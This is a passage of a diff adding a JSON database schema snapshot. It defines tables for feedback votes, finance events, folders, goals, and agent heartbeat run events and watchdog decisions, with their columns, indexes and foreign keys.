+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_issue_id_issues_id_fk": {
+          "name": "feedback_exports_issue_id_issues_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_project_id_projects_id_fk": {
+          "name": "feedback_exports_project_id_projects_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_votes": {
+      "name": "feedback_votes",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_with_labs": {
+          "name": "shared_with_labs",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "shared_at": {
+          "name": "shared_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_votes_company_issue_idx": {
+          "name": "feedback_votes_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_issue_target_idx": {
+          "name": "feedback_votes_issue_target_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_author_idx": {
+          "name": "feedback_votes_author_idx",
+          "columns": [
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_company_target_author_idx": {
+          "name": "feedback_votes_company_target_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_votes_company_id_companies_id_fk": {
+          "name": "feedback_votes_company_id_companies_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_votes_issue_id_issues_id_fk": {
+          "name": "feedback_votes_issue_id_issues_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.finance_events": {
+      "name": "finance_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cost_event_id": {
+          "name": "cost_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "event_kind": {
+          "name": "event_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'debit'"
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_adapter_type": {
+          "name": "execution_adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pricing_tier": {
+          "name": "pricing_tier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "region": {
+          "name": "region",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quantity": {
+          "name": "quantity",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unit": {
+          "name": "unit",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "amount_cents": {
+          "name": "amount_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "currency": {
+          "name": "currency",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'USD'"
+        },
+        "estimated": {
+          "name": "estimated",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "external_invoice_id": {
+          "name": "external_invoice_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata_json": {
+          "name": "metadata_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "finance_events_company_occurred_idx": {
+          "name": "finance_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_biller_occurred_idx": {
+          "name": "finance_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_kind_occurred_idx": {
+          "name": "finance_events_company_kind_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "event_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_direction_occurred_idx": {
+          "name": "finance_events_company_direction_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_heartbeat_run_idx": {
+          "name": "finance_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_cost_event_idx": {
+          "name": "finance_events_company_cost_event_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cost_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "finance_events_company_id_companies_id_fk": {
+          "name": "finance_events_company_id_companies_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_agent_id_agents_id_fk": {
+          "name": "finance_events_agent_id_agents_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_issue_id_issues_id_fk": {
+          "name": "finance_events_issue_id_issues_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "finance_events_project_id_projects_id_fk": {
+          "name": "finance_events_project_id_projects_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_goal_id_goals_id_fk": {
+          "name": "finance_events_goal_id_goals_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "finance_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_cost_event_id_cost_events_id_fk": {
+          "name": "finance_events_cost_event_id_cost_events_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "cost_events",
+          "columnsFrom": [
+            "cost_event_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.folders": {
+      "name": "folders",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "system_key": {
+          "name": "system_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "folders_company_kind_position_idx": {
+          "name": "folders_company_kind_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_root_slug_uq": {
+          "name": "folders_company_kind_root_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_slug_uq": {
+          "name": "folders_company_kind_parent_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_system_key_uq": {
+          "name": "folders_company_kind_system_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "system_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"system_key\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_position_idx": {
+          "name": "folders_company_kind_parent_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "folders_company_id_companies_id_fk": {
+          "name": "folders_company_id_companies_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "folders_parent_id_folders_id_fk": {
+          "name": "folders_parent_id_folders_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.goals": {
+      "name": "goals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'task'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'planned'"
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "goals_company_idx": {
+          "name": "goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "goals_company_id_companies_id_fk": {
+          "name": "goals_company_id_companies_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_parent_id_goals_id_fk": {
+          "name": "goals_parent_id_goals_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_owner_agent_id_agents_id_fk": {
+          "name": "goals_owner_agent_id_agents_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_events": {
+      "name": "heartbeat_run_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "bigserial",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "seq": {
+          "name": "seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stream": {
+          "name": "stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_events_run_seq_idx": {
+          "name": "heartbeat_run_events_run_seq_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "seq",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_run_idx": {
+          "name": "heartbeat_run_events_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_created_idx": {
+          "name": "heartbeat_run_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_events_company_id_companies_id_fk": {
+          "name": "heartbeat_run_events_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_events_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_watchdog_decisions": {
+      "name": "heartbeat_run_watchdog_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evaluation_issue_id": {
+          "name": "evaluation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_watchdog_decisions_company_run_created_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_watchdog_decisions_company_run_snooze_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_snooze_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "snoozed_until",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_watchdog_decisions_company_id_companies_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "evaluation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
